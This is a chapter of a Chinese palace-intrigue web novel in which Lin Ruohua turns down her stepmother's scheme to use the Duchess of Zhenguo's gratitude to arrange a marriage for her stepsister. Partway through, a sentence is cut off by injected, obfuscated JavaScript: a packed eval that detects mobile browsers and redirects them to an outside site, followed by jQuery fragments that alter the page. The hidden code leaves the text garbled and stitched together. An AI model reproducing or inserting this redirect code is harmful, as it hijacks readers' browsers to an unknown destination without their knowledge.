第二日清晨，天光微熹，林府的门房便收到了镇国公府遣人送来的拜帖。


    叶氏捧着拜帖，眼角眉梢俱是压不住的喜色，对身边的贴身嬷嬷道：“快！快去告诉二小姐！镇国公夫人亲自递帖，这是天大的脸面，让她好好梳妆打扮。”


    这声音中还带着扬眉吐气的快意。


    林洛瑶闻讯，得意地扬起下巴，昨日在感恩寺积攒的郁气一扫而空，取而代之的是满脸掩不住的痛快。


    原来是昨日下午在寺中，林洛瑶偶遇几位素来不睦的官家小姐，双方言语间起了龃龉。


    那几位小姐见她打扮得花枝招展，便故意在她面前高声谈笑，说什么“山鸡插上羽毛也变不成凤凰”，分明是在讥讽她的装扮。


    这些话直将她气得七窍生烟，当场便要发作，却被赶来的叶氏死死拉住。


    几位小姐见有人来，便各自散开了。


    林洛瑶性子本就骄纵浅薄，在京中贵女圈里看不惯她的大有人在。


    至于是否会忌惮她那位准太子妃姐姐，相熟的人家谁不知晓她们姐妹二人势同水火，昔日林洛瑶可没少在外败坏她姐姐的名声。


    此刻踩低林洛瑶，说不定还能间接讨好那位未来的中宫之主呢。


    林洛瑶想起昨日的遭遇，仍气得牙痒，对着铜镜不停地试钗环。


    “娘，你说镇国公夫人是不是……”林洛瑶一番打扮后，来到厅堂，悄声对叶氏说道，脸上还泛起红晕，“听说世子正在议亲。”


    叶氏会意地点头，母女二人相视而笑。


    巳时，镇国公夫人王窈莲的马车便稳稳停在了林府门前，小丫鬟小香搀扶着丰腴富态的国公夫人下车，身后还跟着一群丫鬟婆子仆从护卫。


    叶氏忙不迭亲自相迎，脸上堆满了热络的笑容，特意唤上盛装打扮的林洛瑶与林若华一同在厅堂见客。


    林若华之前就想着，林洛瑶怎么突然转性了。


    昨日气急败坏，今天喜气洋洋。


    原来是因为镇国公夫人。


    要问林若华怎么知道的？


    昨日感恩寺回府这一路上，林洛瑶搅得众人不得安宁。


    先是哭声震天，继而破口大骂：“那几个小贱人，日后定要她们好看！”


    这动静，隔着马车都能听见。


    谁料，镇国公夫人进门后，径直走向林若华，亲切地拉起她的手，连连夸赞：“好孩子，快让我好好看看。回府后太医看了都后怕，说若不是你当时处置得当，后果不堪设想。你可是我的救命恩人。”


    她又转头对叶氏说：“府上真是养了个好女儿，心地善良，宠辱不惊。”


    话语间对林若华的喜爱之情溢于言表。


    叶氏脸上的笑容瞬间僵住了，林洛瑶更是猛地转头，难以置信地看向林若华。


    这般要紧的事，林若华回府后竟然只字未提。


    叶氏在一旁强撑笑容，林洛瑶则气得双目泛红，指甲深深掐入掌心。


    倒是林若华始终从容应对，言语得体，与国公夫人言笑晏晏，既不过分谦卑，也不居功自傲，直至将人恭恭敬敬地送出府门。


    最令人难堪的是，镇国公夫人自始至终，除了初见的礼节性寒暄，就未曾再多看精心打扮的林洛瑶一眼。


    待人一走，林洛瑶积攒的委屈和怒火瞬间爆发，哇的一声哭了出来，跺着脚跑回自己的院子，紧闭房门。


    任凭叶氏在外如何敲门劝慰，里面也只传来更响亮的哭声和瓷器碎裂的声音。


    反观林若华，好像无事发生，该吃吃该睡睡。


    待到林兴业下值回府，叶氏忙将他拉到僻静处，添油加醋地细说了今日种种，言语间不免带上了对林若华的埋怨。


    晚饭时间，林若华踏进饭厅，就见父亲林兴业与继母叶氏已端坐席间，连林洛瑶也板着脸，极不情愿地坐在一旁。


    来者不善，鸿门宴啊。


    一家人各怀心思地默默用完晚膳，林兴业捻着胡须，对林若华温言夸赞道：“若华，今日方知你昨日在感恩寺救了镇国公夫人，不愧是我林家的女儿，为父心中甚是欣慰。镇国公深得圣心，又手握兵权，在朝中举足轻重。你能与他们结下这份善缘，日后于我们林家大有助益啊。”


    林若华不语，目光在他捻须的手指上一扫而过。


    叶氏见状连忙搭话，脸上满是笑意：“是啊是啊，今日国公夫人对若华那可是赞不绝口，喜爱之情溢于言表，我瞧着，夫人是真喜欢我们若华。往后啊，可要多去镇国公府走动走动才是。”


    见林若华仍不接话，林洛瑶按捺不住，尖声质问：“姐姐当真是好本事！不是救了太子殿下，就是救了国公夫人，回回都能攀上高枝！妹妹真是好奇，你这些本事，究竟是哪儿学来的？莫非是私下里得了什么高人指点不成？还是说，姐姐早就知道那是镇国公夫人，故意设计的这场巧遇？”


    话语中的酸意与恶意几乎要溢出来了。


    林若华这才瞥了她一眼，淡淡开口：“妹妹过誉了，不过是幼时体弱多病，缠绵病榻久了，看的医书多了，久病成医，略通些皮毛罢了，谈不上什么本事。至于设计之说……妹妹以为，镇国公夫人是那等容易被人设计的无知妇孺吗？”


    叶氏听出话中机锋，只当她仍记恨从前怠慢，忙作歉然状，拿起手帕，按了按毫无泪意的眼角：“若华，母亲知道，从前或许有对你照顾不周的地方，让你受委屈了。可我们终究是一家人，血脉相连，打断骨头还连着筋呢，哪有隔夜的仇？如今你有了大好前程，更要守望相助才是啊。你看瑶儿她……”


    林若华懒得再与他们周旋，目光扫过眼前神色各异的三人，直截了当道：“父亲，母亲，有何事不妨明言，此处并无外人。”


    林兴业与叶氏迅速交换了一个眼色，仍是叶氏开口，她脸上笑容更盛：“若华，你是个聪明的孩子。你看，国公夫人今日送来的谢礼何等贵重，银锭，绸缎，还有许多名贵药材，更别提那成色极好的和田玉与夜明珠了。可见她对你不仅是感激，更是打心眼里看重你啊。”


    她话锋一转，语气陡然变得哀戚，作出伤感状：“你不久便要入主东宫，将来荣华富贵享之不尽，父母再不必为你操心。只可怜你妹妹洛瑶，也快及笄了，这婚事还没个着落，我这心里，实在是……”


    林若华挑眉，打断她的表演，语气依旧平淡：“所以？”


    叶氏立刻换上笑脸：“听闻国公夫人最近正在为叶世子相看人家。那位世子爷，人品贵重，相貌堂堂，年纪又与咱们洛瑶相当。俗话说，肥水不流外人田。你于镇国公夫人有救命之恩，这是天大的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442530|184823||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    情分，若能从中说项一二，这岂不是一桩美事？你妹妹若得了好归宿，将来在宫中，不也多一份助力吗？”


    林兴业在一旁点头道：“你母亲说得在理。姐妹同心，其利断金。若华，你要为家族长远考虑。”


    林洛瑶更是瞬间转怒为喜，脸上泛起红晕，眼中充满期待，声音都娇柔了两分：“姐姐，若我能嫁入镇国公府，定不会忘了姐姐的大恩大德。”


    至此，林若华终于明白了。


    原来绕了这么大一个圈子，是想借她这份救命之恩，去攀附镇国公府，谋求与世子的婚事。


    难怪今日镇国公夫人上门时，这母女二人那般喜形于色，原来是自作多情，会错了意，以为人家是来相看媳妇的。


    莫说那位眼高于顶的男二叶景谦能否瞧得上林洛瑶，就算他当真眼瞎，林若华也不可能去促成这门亲事。


    林洛瑶欺负了林若华这么多年，林若华自认不在婚事上给她使绊子，都算是心地极其善良了。


    略一思索，林若华缓声开口：“父亲，母亲，此事恐怕不妥。”


    她环视三人，继续道：“其一，国公爷乃是三皇子的亲舅，镇国公府与三皇子一脉荣辱与共。而我，不日即将嫁入东宫，身为太子妃。这些年来，两位殿下在朝堂上明争暗斗，父亲身在官场，应当比女儿更清楚其中利害。若将我林家两个女儿，分嫁两位势成水火的皇子派系，以林家微末门第，何来资格与实力在两边下注？此举无异于脚踏两船，稍有不慎，便是倾覆之祸，只怕会为林家招致灭顶之灾。届时，莫说攀附权贵，怕是性命都难保。”


    她顿了顿，继续道：“其二，镇国公府今日送上如此厚礼，礼仪周全，却也恰恰表明了态度。他们意在重谢，两不相欠，分明是不愿与我们有太多后续的牵扯，以免落人口实，或卷入不必要的麻烦。我们若此时不识趣，贸然提出结亲之请，非但不成，反而徒惹人厌，将这份好不容易得来的善缘变成了恶缘。届时，女儿在中间，又该如何自处？”


    林洛瑶听到此处，猛然起身，声音因愤怒而异常尖利：“林若华！你胡说八道！分明是你自己攀了高枝，就见不得我好！处处阻挠，编出这些危言耸听的话来吓唬爹娘。你就是嫉妒我，故意不让我嫁给表哥，你其心可诛！”


    林若华眨了眨眼睛。


    表哥？什么表哥？


    叶氏强压住心中怒火，脸上挤出僵硬的假笑：“若华，母亲虽出自叶家旁支，但总归姓叶，论起辈分来，你们还得唤叶世子一声表哥。”


    哈？


    原来叶氏的叶和镇国公府的叶是同一个叶吗？


    怪不得。


    她与林洛瑶身为六品小官之女，在京中贵女圈籍籍无名，竟能收到六公主赏花宴的请帖。


    六公主的生母叶妃，正是当今镇国公的堂妹。


    这请帖，恐怕是看在这层早已疏远的叶姓面子上，或者干脆是叶氏费尽心机求来的。


    从今日镇国公夫人对叶氏虽然客气但是明显疏离的态度，以及在感恩寺相遇时也绝口不提这层拐了弯的亲戚关系来看，这门亲戚够远的。


    等等，如果叶氏与镇国公府有着这点联系，那当初林若华与萧玄鹤在御花园里的初遇，当真是巧合那么简单吗？


    思及至此，林若华心头一颤。